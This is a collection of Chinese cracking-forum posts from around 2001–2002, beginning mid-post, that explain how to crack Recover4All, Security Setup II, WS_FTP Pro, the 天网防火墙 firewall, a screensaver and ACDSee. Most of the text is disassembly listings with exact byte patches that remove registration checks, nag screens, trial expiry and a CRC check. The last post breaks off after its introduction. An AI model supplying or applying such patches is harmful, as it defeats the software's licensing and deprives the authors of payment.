:0040ADB8 895D68 mov dword ptr [ebp+68], ebx
:0040ADBB 895D64 mov dword ptr [ebp+64], ebx

修改0040AD8A处的代码为89B5D0050000后，运行程序，爆破成功。

我研究了很长时间，也没把它的注册算法搞清楚，希望网上的各位高手，能给予指点，先谢过啦！

标 题:不用你说我也知道你是谁?想知道的朋友进来一看就知道了!peterchen就没有我这么神通了! (7千字)
发信人:1212
时 间:2001-10-8 13:52:15
详细信息:

superboss
Recover4All v1.03的破解
工具:TRW2000和Wdasm v8.93
目标说明:每个人一定都有曾不小心误删文件与目录的经验，通常要恢复误删文件有时是相当困难的，
不妨先试试 Recover 4 all 看看，它能将刚刚所删除的文件找出来，但必须在Win95/98
下所删除的文件，它才能找出并救回来.
难度：中级?
=======================================================
引子：这是一篇破解讨论性的文章，仅作为大家深入讨论的依据。

运行程序，输入Registration Name:sUpErbOss Registration Code:1122334455
按Ctrl-N切换到TRW2000下，打"BPX HMEMCPY"，点击“OK”按钮，被拦下,打"BD *"。
按几次F12键，回到Rec4All模组下，再一直按F10键，直到下面所指的重点(2)处：
:00411DE0 51 push ecx
:00411DE1 8BCD mov ecx, ebp
:00411DE3 E898A9FFFF call 0040C780
:00411DE8 50 push eax
:00411DE9 8D8C247C030000 lea ecx, dword ptr [esp+0000037C]
:00411DF0 C684243413000001 mov byte ptr [esp+00001334], 01
:00411DF8 E8B3220000 call 004140B0
:00411DFD 8D8C24500B0000 lea ecx, dword ptr [esp+00000B50]
:00411E04 C684243013000000 mov byte ptr [esp+00001330], 00
:00411E0C E8EF220000 call 00414100
:00411E11 8D83E8030000 lea eax, dword ptr [ebx+000003E8]
:00411E17 8D9424500B0000 lea edx, dword ptr [esp+00000B50]
:00411E1E 50 push eax
:00411E1F 52 push edx
:00411E20 8BCD mov ecx, ebp
:00411E22 E839B8FFFF call 0040D660
:00411E27 8DB340080000 lea esi, dword ptr [ebx+00000840]
:00411E2D 50 push eax
:00411E2E 8BCE mov ecx, esi
:00411E30 C684243413000002 mov byte ptr [esp+00001334], 02
:00411E38 E873220000 call 004140B0
:00411E3D 8D8C24500B0000 lea ecx, dword ptr [esp+00000B50]
:00411E44 C684243013000000 mov byte ptr [esp+00001330], 00
:00411E4C E8AF220000 call 00414100
:00411E51 81ECD8070000 sub esp, 000007D8
:00411E57 8BCC mov ecx, esp
:00411E59 89A424F4070000 mov dword ptr [esp+000007F4], esp
:00411E60 56 push esi
:00411E61 E82A220000 call 00414090
:00411E66 8D8C24500B0000 lea ecx, dword ptr [esp+00000B50]
:00411E6D E8FE200000 call 00413F70 <---重点(1)!!(比对升级码)
:00411E72 85C0 test eax, eax
:00411E74 0F858C000000 jne 00411F06
.
.
.
:00411F93 E8E8A7FFFF call 0040C780 <----此Call根据注册码经过变形算出一个数
:00411F98 50 push eax
:00411F99 8D8C247C030000 lea ecx, dword ptr [esp+0000037C]
:00411FA0 C684243413000003 mov byte ptr [esp+00001334], 03
:00411FA8 E803210000 call 004140B0
:00411FAD 8D8C24500B0000 lea ecx, dword ptr [esp+00000B50]
:00411FB4 C684243013000000 mov byte ptr [esp+00001330], 00
:00411FBC E83F210000 call 00414100
:00411FC1 8D83E8030000 lea eax, dword ptr [ebx+000003E8]
:00411FC7 8D8C24500B0000 lea ecx, dword ptr [esp+00000B50]
:00411FCE 50 push eax
:00411FCF 51 push ecx
:00411FD0 8BCD mov ecx, ebp
:00411FD2 E889B6FFFF call 0040D660 <----此Call根据Name经过变形算出一个数
:00411FD7 8DB340080000 lea esi, dword ptr [ebx+00000840]
:00411FDD 50 push eax
:00411FDE 8BCE mov ecx, esi
:00411FE0 C684243413000004 mov byte ptr [esp+00001334], 04
:00411FE8 E8C3200000 call 004140B0
:00411FED 8D8C24500B0000 lea ecx, dword ptr [esp+00000B50]
:00411FF4 C684243013000000 mov byte ptr [esp+00001330], 00
:00411FFC E8FF200000 call 00414100
:00412001 81ECD8070000 sub esp, 000007D8
:00412007 8BCC mov ecx, esp
:00412009 89A424F4070000 mov dword ptr [esp+000007F4], esp
:00412010 56 push esi
:00412011 E87A200000 call 00414090
:00412016 8D8C24500B0000 lea ecx, dword ptr [esp+00000B50]
:0041201D E84E1F0000 call 00413F70 <---重点(2)!!(比对注册码）
:00412022 85C0 test eax, eax <---注册成功的话，EAX=0
:00412024 7566 jne 0041208C

进入重点Call(2)后，按F10键，一直往下，来到核心Call，可别三心二意跑过站喽！按F8键吧!!
:00413FD2 50 push eax
:00413FD3 E848FAFFFF call 00413A20 <------核心Call哦!!
:00413FD8 8D4C2418 lea ecx, dword ptr [esp+18]
:00413FDC 8BF0 mov esi, eax <----注册码正确的话,ESI=EAX=0
:00413FDE C7442410FFFFFFFF mov [esp+10], FFFFFFFF
:00413FE6 E815010000 call 00414100
:00413FEB 8BC6 mov eax, esi <----EAX=ESI=0
:00413FED 8B4C2408 mov ecx, dword ptr [esp+08]
:00413FF1 64890D00000000 mov dword ptr fs:[00000000], ecx
:00413FF8 5F pop edi
:00413FF9 5E pop esi
:00413FFA 83C40C add esp, 0000000C
:00413FFD C2D807 ret 07D8

进入到核心Call后，按F10键往下走，就到站啦！
:00413A59 56 push esi
:00413A5A 8BCF mov ecx, edi
:00413A5C 8BE8 mov ebp, eax
:00413A5E E81DFCFFFF call 00413680 <----注意哦!!
:00413A63 3BC5 cmp eax, ebp <----变形后的注册码比对处
:00413A65 77CD ja 00413A34 ---->必须满足EAX=EBP<----
:00413A67 56 push esi
:00413A68 8BCB mov ecx, ebx
:00413A6A E811FCFFFF call 00413680 <----注意哦!!
:00413A6F 56 push esi
:00413A70 8BCF mov ecx, edi
:00413A72 8BE8 mov ebp, eax
:00413A74 E807FCFFFF call 00413680 <----注意哦!!
:00413A79 3BC5 cmp eax, ebp <---变形后的注册码比对处
:00413A7B 72C5 jb 00413A42 ---->必须满足EAX=EBP<----
:00413A7D 85F6 test esi, esi <---有两组变形码比对！
:00413A7F 75CF jne 00413A50

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413A4E(C)
|
:00413A81 5F pop edi
:00413A82 5E pop esi
:00413A83 5D pop ebp
:00413A84 33C0 xor eax, eax <----EAX=0
:00413A86 5B pop ebx
:00413A87 C20400 ret 0004

====================================
:00413680 8B442404 mov eax, dword ptr [esp+04] <---Call 00413680的内容
:00413684 8B5108 mov edx, dword ptr [ecx+08]
:00413687 3BC2 cmp eax, edx
:00413689 7205 jb 00413690
:0041368B 33C0 xor eax, eax
:0041368D C20400 ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413689(C)
|
:00413690 8B09 mov ecx, dword ptr [ecx]
:00413692 8B0481 mov eax, dword ptr [ecx+4*eax] <---打"D ECX+4*EAX"
:00413695 C20400 ret 0004

在00413692处，记下ECX+4*EAX所表示的地址。（注意：必须是在启动Rec4All，第一次点击"OK"按钮后，跟踪到此处时的地址值）
Why？因为每次重新按"OK"按钮跟踪Rec4All时，此处的地址是变动的，所以很难设置正确的断点。但每次启动Rec4All，
第一次点击"OK"按钮后，此处的地址值是相同的。
我研究了很长时间，也没把它的算法搞清楚，希望网上的各位高手，能给予指点，先谢过啦！


Recover 4 all v1.04

 标 题:look (4千字)
发信人:我不说
时 间:2001-11-13 11:48:05
详细信息:
破解者: 我不说

难度: 容易

程序: Recover 4 all v1.04

工具：TRW2000 v1.22, W32Dasm, eXeScope.

过程：

运行程序，出现NAG窗口。退出程序，运行eXeScope，查找NAG窗口，
是dialog: 163,退出eXeScope。用W32Dasm打开Rec4all.exe,查找DialogID_00A3,
为什么？因为dec(163)=hex(A3).见到：

* Referenced by a CALL at Address:
|:0040F583
|
:00411440 8B442404 mov eax, dword ptr [esp+04]
:00411444 56 push esi
:00411445 50 push eax
:00411446 8BF1 mov esi, ecx

* Possible Reference to Dialog: DialogID_00A3
|
:00411448 68A3000000 push 000000A3
:0041144D E8EB780100 call 00428D3D
:00411452 C706A03E4400 mov dword ptr [esi], 00443EA0
:00411458 8BC6 mov eax, esi
:0041145A 5E pop esi
:0041145B C20400 ret 0004

向上寻找0040F583，

* Referenced by a CALL at Address:
|:0040AE7E
|
:0040F560 6AFF push FFFFFFFF
:0040F562 68D8144400 push 004414D8
:0040F567 64A100000000 mov eax, dword ptr fs:[00000000]
:0040F56D 50 push eax
:0040F56E 64892500000000 mov dword ptr fs:[00000000], esp
:0040F575 83EC6C sub esp, 0000006C
:0040F578 E893F4FFFF call 0040EA10
:0040F57D 6A00 push 00000000
:0040F57F 8D4C2404 lea ecx, dword ptr [esp+04]
:0040F583 E8B81E0000 call 00411440
:0040F588 8D4C2400 lea ecx, dword ptr [esp]
:0040F58C C744247400000000 mov [esp+74], 00000000
:0040F594 E859980100 call 00428DF2
:0040F599 8D4C2400 lea ecx, dword ptr [esp]
:0040F59D C7442474FFFFFFFF mov [esp+74], FFFFFFFF
:0040F5A5 E889940100 call 00428A33
:0040F5AA 8B4C246C mov ecx, dword ptr [esp+6C]
:0040F5AE 64890D00000000 mov dword ptr fs:[00000000], ecx
:0040F5B5 83C478 add esp, 00000078
:0040F5B8 C3 ret

再向上找0040AE7E，

:0040AE6D 8BCD mov ecx, ebp
:0040AE6F E89C3B0000 call 0040EA10
:0040AE74 399DD0050000 cmp dword ptr [ebp+000005D0], ebx
:0040AE7A 7522 jne 0040AE9E
:0040AE7C 8BCD mov ecx, ebp
:0040AE7E E8DD460000 call 0040F560
:0040AE83 391DB84E4600 cmp dword ptr [00464EB8], ebx
:0040AE89 0F858A000000 jne 0040AF19
:0040AE8F C7853002000001000000 mov dword ptr [ebp+00000230], 00000001
:0040AE99 E90A010000 jmp 0040AFA8

运行trw2000设置断点在0040AE74处，编辑ebp+5D0处的内存数值为非０，F5后，程序显示
注册成功。

重新在ebp+5D0内存处设断后运行程序，拦截如下

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040ACE3(C)
|
:0040AD6D 8BCD mov ecx, ebp
:0040AD6F 895D58 mov dword ptr [ebp+58], ebx
:0040AD72 89B5E4430600 mov dword ptr [ebp+000643E4], esi
:0040AD78 899D30020000 mov dword ptr [ebp+00000230], ebx
:0040AD7E 899D38020000 mov dword ptr [ebp+00000238], ebx
:0040AD84 899D3C020000 mov dword ptr [ebp+0000023C], ebx
:0040AD8A 899DD0050000 mov dword ptr [ebp+000005D0], ebx　《－－

:0040AD90 C7455CFFFFFFFF mov [ebp+5C], FFFFFFFF
:0040AD97 899D88000000 mov dword ptr [ebp+00000088], ebx
:0040AD9D 899D84000000 mov dword ptr [ebp+00000084], ebx
:0040ADA3 899D80000000 mov dword ptr [ebp+00000080], ebx
:0040ADA9 895D7C mov dword ptr [ebp+7C], ebx
:0040ADAC 895D78 mov dword ptr [ebp+78], ebx
:0040ADAF 895D74 mov dword ptr [ebp+74], ebx
:0040ADB2 895D70 mov dword ptr [ebp+70], ebx
:0040ADB5 895D6C mov dword ptr [ebp+6C], ebx
:0040ADB8 895D68 mov dword ptr [ebp+68], ebx
:0040ADBB 895D64 mov dword ptr [ebp+64], ebx

修改0040AD8A处的代码为89B5D0050000后，运行程序，爆破成功。


Security setup II

 标 题:暴力破解Security setup II (7千字)
发信人:crackjack[BCG]
时 间:2001-10-24 17:15:33
详细信息:
小弟天天玩狗，结果被疯狗咬得全身是伤，这次换一点口味了，来一个security setup II的爆破，呵呵，没办法啦，习惯用暴力啊。

好，我们先分析它是不是加壳的，分析的工具就不用我说了吧（废话），结果它是用UPX来加壳的（听说是很温柔的壳呵，我的MM有那么温柔就好了），我们先用procdump32把它脱掉（不是脱衣服啦，别想歪啦）。脱掉后你发现它不能运行，呵呵，它有CRC校检，当然是不能运行啦。好，我们用TRW2000跟踪它，看它的CRC在什么地方：

:0045159F E8F822FBFF call 0040389C
:004515A4 8B0DF0344500 mov ecx, dword ptr [004534F0]
:004515AA A148344500 mov eax, dword ptr [00453448]
:004515AF 8B00 mov eax, dword ptr [eax]
:004515B1 8B15ACCA4400 mov edx, dword ptr [0044CAAC]
:004515B7 E83CB1FDFF call 0042C6F8 <=====F8进入,为什么要进入?我倒....当然是用F10带过就S La S La啦
:004515BC 8B0D44334500 mov ecx, dword ptr [00453344]
:004515C2 A148344500 mov eax, dword ptr [00453448]

进入后继续F10:

:0042C717 33C0 xor eax, eax
:0042C719 55 push ebp
:0042C71A 683BC74200 push 0042C73B
:0042C71F 64FF30 push dword ptr fs:[eax]
:0042C722 648920 mov dword ptr fs:[eax], esp
:0042C725 8BCB mov ecx, ebx
:0042C727 33D2 xor edx, edx
:0042C729 8B45F8 mov eax, dword ptr [ebp-08]
:0042C72C 8B30 mov esi, dword ptr [eax]
:0042C72E FF5624 call [esi+24] <=====F8进入
:0042C731 33C0 xor eax, eax
:0042C733 5A pop edx

GO.....

:00427999 68CD794200 push 004279CD
:0042799E 64FF30 push dword ptr fs:[eax]
:004279A1 648920 mov dword ptr fs:[eax], esp
:004279A4 8B45FC mov eax, dword ptr [ebp-04]
:004279A7 6683B8CE01000000 cmp word ptr [eax+000001CE], 0000
:004279AF 7412 je 004279C3
:004279B1 8B5DFC mov ebx, dword ptr [ebp-04]
:004279B4 8B55FC mov edx, dword ptr [ebp-04]
:004279B7 8B83D0010000 mov eax, dword ptr [ebx+000001D0]
:004279BD FF93CC010000 call dword ptr [ebx+000001CC] <=====F8进入

F10.....停:

:0044D436 3B05EC474500 cmp eax, dword ptr [004547EC]
:0044D43C 741A je 0044D458

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044D448(C)
|
:0044D43E 813DEC474500E7030000 cmp dword ptr [004547EC], 000003E7
:0044D448 75F4 jne 0044D43E <=====当你走到这里的时候,你会发现你一直在这里循环,这里就是程序让我们S翘翘的地方,所以要把它改为90 90
:0044D44A EB0C jmp 0044D458

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0044D42F(C), :0044D456(C)
|
:0044D44C 813DEC474500E7030000 cmp dword ptr [004547EC], 000003E7
:0044D456 75F4 jne 0044D44C

好了,下面我们要去掉它的时间限制,通常是把日期改大，结果是运行后就会有一个警告框说你是非法使用者呵：

:0044D37D DB7DE8 fstp tbyte ptr [ebp-18]
:0044D380 9B wait
:0044D381 E836AAFBFF call 00407DBC <=====调用日期比较的CALL
:0044D386 DB6DE8 fld tbyte ptr [ebp-18]
:0044D389 DED9 fcompp <=====呵呵,这些都是80X87指令,我也不是很了解啊,反正是比较日期就是了
:0044D38B DFE0 fstsw ax
:0044D38D 9E sahf
:0044D38E 7325 jnb 0044D3B5 <====如果过期就不跳,你就S La S La的了,当然是改为JMPS 0044D4B5啦
:0044D390 6A00 push 00000000
:0044D392 8D4DF8 lea ecx, dword ptr [ebp-08]
:0044D395 BA0A000000 mov edx, 0000000A
:0044D39A B804D64400 mov eax, 0044D604
:0044D39F E8DC74FFFF call 00444880
:0044D3A4 8B45F8 mov eax, dword ptr [ebp-08]
:0044D3A7 668B0D5CD64400 mov cx, word ptr [0044D65C]
:0044D3AE 33D2 xor edx, edx
:0044D3B0 E8A394FEFF call 00436858 <====出错信息框

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0044D350(C), :0044D38E(C)
|
:0044D3B5 33C0 xor eax, eax

破完了吗?还没有,如果没有注册,在运行时会有一个延迟窗口,你很讨厌它是吗?呵呵,让我们来收拾它,我们用REGMON监视软件,发现它多次查询SOFTWARE\IDP\REG\SSU20这个注册键,看名称就知道它和注册有关的了,我们用W32DASM反汇编程序,在串式参考中找到SOFTWARE\IDP\REG\SSU20这个字符串,然后找到下面的位置:

:0044592C 8D45E8 lea eax, dword ptr [ebp-18]
:0044592F 50 push eax

* Possible StringData Ref from Data Obj ->"30"
|
:00445930 B99C614400 mov ecx, 0044619C

* Possible StringData Ref from Data Obj ->"SOFTWARE\IDP\REG\SSU20"
|
:00445935 BAA8614400 mov edx, 004461A8 <====我们可以在这里设断点
:0044593A B802000080 mov eax, 80000002
:0044593F E87CEEFFFF call 004447C0
:00445944 837DE800 cmp dword ptr [ebp-18], 00000000
:00445948 752A jne 00445974
:0044594A 8D4DE8 lea ecx, dword ptr [ebp-18]
:0044594D BA0A000000 mov edx, 0000000A

* Possible StringData Ref from Data Obj ->"_DXOMCY^OXON"

程序中断后不要清除断点,然后一直按F10,中间会有一个CALL被再次中断,直到看到下面的代码:

:00450547 E89C95FEFF call 00439AE8
:0045054C 5A pop edx
:0045054D E82295FEFF call 00439A74
:00450552 E89953FFFF call 004458F0 <=====关键CALL
:00450557 84C0 test al, al <=====未注册时不跳,所以这里可以改为mov al,1
:00450559 0F85B5000000 jne 00450614 <=====这里改为JMPS 00450614
:0045055F 8D4DF8 lea ecx, dword ptr [ebp-08]
:00450562 BA24000000 mov edx, 00000024
:00450567 B8200A4500 mov eax, 00450A20
:0045056C E80F43FFFF call 00444880
:00450571 8B45F8 mov eax, dword ptr [ebp-08]
:00450574 E813E9FFFF call 0044EE8C
:00450579 8D4DF8 lea ecx, dword ptr [ebp-08]
:0045057C BA24000000 mov edx, 00000024
:00450581 B8200A4500 mov eax, 00450A20
:00450586 E8F542FFFF call 00444880
:0045058B 8D45F8 lea eax, dword ptr [ebp-08]
:0045058E BA480A4500 mov edx, 00450A48
:00450593 E83435FBFF call 00403ACC
:00450598 8B55F8 mov edx, dword ptr [ebp-08]
:0045059B 8B8624050000 mov eax, dword ptr [esi+00000524]
:004505A1 E81AC1FCFF call 0041C6C0
:004505A6 8B0D48344500 mov ecx, dword ptr [00453448]
:004505AC 8B09 mov ecx, dword ptr [ecx]
:004505AE B201 mov dl, 01
:004505B0 A1F0C54400 mov eax, dword ptr [0044C5F0]
:004505B5 E8EA72FDFF call 004278A4
:004505BA 8B15EC324500 mov edx, dword ptr [004532EC]
:004505C0 8902 mov dword ptr [edx], eax
:004505C2 33C0 xor eax, eax
:004505C4 55 push ebp
:004505C5 680D064500 push 0045060D
:004505CA 64FF30 push dword ptr fs:[eax]
:004505CD 648920 mov dword ptr fs:[eax], esp
:004505D0 A1EC324500 mov eax, dword ptr [004532EC]
:004505D5 8B00 mov eax, dword ptr [eax]
:004505D7 E870A3FDFF call 0042A94C <=====用F10带过时,延迟画面就出现了,所以往上看什么地方能跳过这里
:004505DC A1EC324500 mov eax, dword ptr [004532EC]
:004505E1 8B00 mov eax, dword ptr [eax]
:004505E3 B201 mov dl, 01
:004505E5 E8767DFDFF call 00428360

其实如果你想做出注册文件,可以跟踪并分析它的算法,小弟我一看到算法就头痛,所以只能用点暴力了,呵呵


WS_FTP Pro 7.02

 标 题:破解WS_FTP Pro 7.02 (8千字)
发信人:Fpc
时 间:2001-10-28 16:52:49
详细信息:
破解WS_FTP Pro 7.02
by Fpc[CCG]/6767[BCG] 2001/10

tools: Trw2000, wdasm, filemon

软件名称：WS_FTP Pro
整理日期：2001.10.27
最新版本：7.02
文件大小：4093KB
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
发布公司：Home Page
软件简介：一个快速、强大的FTP客户程序。除了继续保留传统的双窗格的风格外，新版本更增加了WS-FTP Explorer作为Windows Explorer (资源管理器)的扩展，因此，你可以在资源管理器中直接访问FTP站点。FTP传送就像在Windows资源管理器中复制文件一样简单，你不必关心文档在什么类型的服务器上，或者你正在使用何种Internet协议!

[Begin]

这是一个善于自我吹嘘的FTP工具~~其共享版本提供了30天的全部功能试用，每次运行出现一个NAG，提醒你注册。来看一下如何解决。

它的exe文件由VC编译，没有加壳，难得~，此外还有一堆dll。无处可以输入注册码。用regmon和filemon找找，只有这个文件可疑：key.dat。用记事本打开这个文件，发现大部分内容是文本，也正是显示在nag窗的内容，好象是个脚本。

trw载入文件，设下断点：bpx createfilea do "d *(esp+4)"。拦到后看到文件名正是key.dat，一次F12，接下来用f10向下跟。它读取文件内容，验证长度为0x1390字节，并且前0x1380所计算得到的校验数据(10字节)要与文件最后的10个字节一致。这些对于注册没什么帮助。按F12，如果你运气好，程序没有跑丢，就返回到下面(可能是trw的bug)：

文件 wsftpext.dll 的部分内容：
... ...
:1003C68E 51 push ecx

* Possible StringData Ref from Data Obj ->"WS_FTP Pro"
|
:1003C68F 8B15B07D0510 mov edx, dword ptr [10057DB0]
:1003C695 52 push edx
:1003C696 8B450C mov eax, dword ptr [ebp+0C]
:1003C699 50 push eax
:1003C69A E8F1640000 call 10042B90 <- 这里是对key.dat的验证
:1003C69F 83C420 add esp, 00000020 <- 返回处
:1003C6A2 8985F4FEFFFF mov dword ptr [ebp+FFFFFEF4], eax <- 保存出口状态
:1003C6A8 83BDF4FEFFFF00 cmp dword ptr [ebp+FFFFFEF4], 00000000
:1003C6AF 7407 je 1003C6B8 <- 这里改一下：jmp 1003C6FB(EB 4A)
:1003C6B1 B800000780 mov eax, 80070000
:1003C6B6 EB4E jmp 1003C706

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1003C6AF(C)
|
:1003C6B8 837D1000 cmp dword ptr [ebp+10], 00000000
:1003C6BC 7509 jne 1003C6C7

* Reference To: USER32.GetActiveWindow, Ord:00DDh <- 取活动窗口的的句柄
|
:1003C6BE FF1544C30410 Call dword ptr [1004C344]
:1003C6C4 894510 mov dword ptr [ebp+10], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1003C6BC(C)
|
:1003C6C7 8B4D14 mov ecx, dword ptr [ebp+14]
:1003C6CA 51 push ecx
:1003C6CB 8B5510 mov edx, dword ptr [ebp+10]
:1003C6CE 52 push edx
:1003C6CF E82C6D0000 call 10043400 <- 显示 Nag
:1003C6D4 83C408 add esp, 00000008
:1003C6D7 8985F0FEFFFF mov dword ptr [ebp+FFFFFEF0], eax
:1003C6DD 83BDF0FEFFFF00 cmp dword ptr [ebp+FFFFFEF0], 00000000
:1003C6E4 740C je 1003C6F2 <- 选择了试用按钮，则eax=0; 如果过了试用期，eax为小于0的一个值
:1003C6E6 E8A5690000 call 10043090
:1003C6EB B800000780 mov eax, 80070000
:1003C6F0 EB14 jmp 1003C706

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1003C6E4(C)
|
:1003C6F2 EB07 jmp 1003C6FB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1003C636(C)
|
:1003C6F4 B800003380 mov eax, 80330000
:1003C6F9 EB0B jmp 1003C706

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1003C6F2(U)
|
:1003C6FB 8B4508 mov eax, dword ptr [ebp+08] <- 这里必须执行到，[ebp+8]置1表示程序正常，为0则导致退出

:1003C6FE C70001000000 mov dword ptr [eax], 00000001
:1003C704 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:1003C6B6(U), :1003C6F0(U), :1003C6F9(U)
|
:1003C706 8BE5 mov esp, ebp
:1003C708 5D pop ebp
:1003C709 C21000 ret 0010

... ...

简单分析上面的代码，:1003C6FB必须运行到，否则程序退出，而看上面的reference，只有一个跳转可到这里，是在你看过了nag之后。key.dat内容改变也不能跳过nag而运行程序，所以只能暴力跳过那个nag窗，同时时间限制解除!

再按几次F12，返回到exe的代码空间，看有没有线索：

... ...

:00426462 740A je 0042646E
:00426464 C78548F7FFFF07000000 mov dword ptr [ebp+FFFFF748], 00000007

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00426462(C)
|
:0042646E C7856CFCFFFF00000000 mov dword ptr [ebp+FFFFFC6C], 00000000
:00426478 8D8D6CFCFFFF lea ecx, dword ptr [ebp+FFFFFC6C]
:0042647E 51 push ecx
:0042647F 8D9544F7FFFF lea edx, dword ptr [ebp+FFFFF744]
:00426485 52 push edx

* Reference To: wsftpext.GetWsftpextApi, Ord:0000h <- 名字
|
:00426486 FF15A09A4200 Call dword ptr [00429AA0]
:0042648C 83C408 add esp, 00000008 <- 返回处
:0042648F 8B8D28F4FFFF mov ecx, dword ptr [ebp+FFFFF428]
:00426495 898138010000 mov dword ptr [ecx+00000138], eax
:0042649B 8B9528F4FFFF mov edx, dword ptr [ebp+FFFFF428]
:004264A1 83BA3801000000 cmp dword ptr [edx+00000138], 00000000
:004264A8 7524 jne 004264CE
:004264AA C78540F4FFFF00000000 mov dword ptr [ebp+FFFFF440], 00000000
:004264B4 C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:004264BB 8D4DA4 lea ecx, dword ptr [ebp-5C]
:004264BE E84D73FEFF call 0040D810
:004264C3 8B8540F4FFFF mov eax, dword ptr [ebp+FFFFF440]
:004264C9 E932070000 jmp 00426C00 <- 这里跳下去就退出了

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004264A8(C)
|
:004264CE 83BD70FCFFFF05 cmp dword ptr [ebp+FFFFFC70], 00000005 <- 下面是程序主线，同样没有越过nag而能正常运行的跳转
:004264D5 0F8540010000 jne 0042661B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00426616(U)
|
:004264DB 83BD70FCFFFF05 cmp dword ptr [ebp+FFFFFC70], 00000005
:004264E2 0F8533010000 jne 0042661B
:004264E8 8D8D1CF6FFFF lea ecx, dword ptr [ebp+FFFFF61C]

* Reference To: wsftpctl.??0CIpsInputDialog@@QAE@XZ, Ord:0006h
|
:004264EE FF15289A4200 Call dword ptr [00429A28]
:004264F4 C645FC01 mov [ebp-04], 01
:004264F8 8D8D24F6FFFF lea ecx, dword ptr [ebp+FFFFF624]

* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:004264FE E87B0C0000 Call 0042717E
:00426503 C645FC02 mov [ebp-04], 02

* Possible Reference to Dialog: DialogID_0083
|

* Possible Reference to String Resource ID=00131: "Enter command line:"
|
:00426507 6883000000 push 00000083
:0042650C 8D8D24F6FFFF lea ecx, dword ptr [ebp+FFFFF624]

* Reference To: MFC42.Ordinal:1040, Ord:1040h
|
:00426512 E8610C0000 Call 00427178
:00426517 8D8D28F6FFFF lea ecx, dword ptr [ebp+FFFFF628]

* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:0042651D E85C0C0000 Call 0042717E
:00426522 C645FC03 mov [ebp-04], 03

* Possible Reference to String Resource ID=00132: "Input"
|
:00426526 6884000000 push 00000084
:0042652B 8D8D28F6FFFF lea ecx, dword ptr [ebp+FFFFF628]

* Reference To: MFC42.Ordinal:1040, Ord:1040h
|
:00426531 E8420C0000 Call 00427178

... ...

所以程序的保护应该是就在 wsftpext.dll 上，如果你向作者注册，他会给你没有 nag 的 dll 文件，而我们只能暴破~


天网防火墙 2.46

 标 题:使用DEDE破解天网防火墙 2.46! (2千字)
发信人:fish[BCG]
时 间:2001-11-1 7:52:58
详细信息:
软件名称：天网防火墙 2.46
使用工具:W32Dasm9.0 trw1.03 dede 3.0
破解人: fish[BCG]

由于我没破过天网防火墙,开始我用W32Dasm9.0分析,什么都看不到走了不少弯路,
发现天网防火墙 2.6是用Delphi编写的，于是我开始用DEDE3.0来破解!^_^,我也是
第一次使用DEDE3.0!是不是有点孤陋寡闻!
此软件一共有两个限制,一个的注册口,一个是过期提示窗口,让我们一一来摆平它!

首先用DEDE3.0导入,费话
导入后查看，‘Forms’三个可疑选项：TfrmRegister、TfrmMessage、
TfrmMessageDlg，其他窗体的作用可根据一一排除。在TfrmRegister
窗体中我们可看到“单击这里免费获取注册号”、“确定”、“取消”等字样，很
明显只是我们第一次装天网防火墙要求我们注册的部分。
TfrmMessageDlg窗体。我们可以看到“天网防火墙提示信息”这个提示软件过期的
标题，但我们再向上看，发现它有“确定”、“取消”两个按钮，跟软件提示过期
窗口只有一个确定按钮不大相同。于是我们再看TfrmMessage窗体，发现它只有“天
网防火墙提示信息”标题和“确定”这个按钮，而没有“取消”这个按钮，到此我
们可以基本确定，这就是过期提示窗!
分析好了，让我们开始吧！

让我们先来解决注册窗口，我门可以看到tfrmresgeter的偏移量是0041c504,使用
TRW2000，中断！

:00401E19 8B10 mov edx, dword ptr [eax]
:00401E1B FF92D8000000 call dword ptr [edx+000000D8]
>>在当走到这儿是弹出注册窗口，并且被截住，哈~~就是他了，我的改法是NOP掉！
:00401E21 8B4DB4 mov ecx, dword ptr [ebp-4C]
:00401E1B FF92D8000000 call dword ptr [edx+000000D8]
:00401E21 8B4DB4 mov ecx, dword ptr [ebp-4C]

试一下，注册窗口解决了！再看下一个！
我们可以看到TfrmMessage的偏移量！0041cd9c,使用TRW2000，中断！

:004033D5 8B10 mov edx, dword ptr [eax]
:004033D7 FF92D8000000 call dword ptr [edx+000000D8]
>>在当走到这儿是弹出注册窗口，并且被截住，哈~~就是他在作怪，
我的改法仍然是NOP掉！
:004033DD 66C745DC0800 mov [ebp-24], 0008
:004033E3 8B4DC0 mov ecx, dword ptr [ebp-40]
:004033E6 894DF0 mov dword ptr [ebp-10], ecx

最后用EXESCOPE把他的‘测试版’，那个字附删除掉！嘻！本人不喜欢测试版！
眼不见为净！^_^
到此，我们已经完美的破解了天网防火墙 2.46!本人知识菜鸟一个，要高手都都
指点！

fish[BCG]
http://fish.bsina.com


星空屏保

 标 题:一个屏保nag的去除 (359字)
发信人:ikaka
时 间:2001-9-11 0:13:50
详细信息:
http://www.pchome.net/dld/download.php?url=scrn/sky.scr

我个人是很喜欢这个星空屏保的，有动听的音乐和美伦美寰的图片，不过未注册版会时不时在图片上显示“未注册“，”请注册“的字样，真是大煞情趣，我用winhex看了一下，找到"unregister!" "please register!"的字样，在16进制区用00字节替换完就好了，用了这么久也没问题，还好作者没加时间限制。

真是瞎猫碰到死老鼠了。


ACDSEE3.1

 标 题:ACDSEE3.1的90天与9分钟 (2千字)
发信人:esoft2001.51.net
时 间:2002-2-8 8:16:59
详细信息:
ACDSEE3.1的90天与9分钟
----ACDSEE3.1Trial Version build921时间限制破解手记
《电脑报》2000年合订本光盘上所带ACDSEE3.1有90天时间限制，最近应朋友之托只有为其破解（到处都能找到注册版，干嘛还用它？）！在此将破解过程简单说一下，希望有人能喜欢！

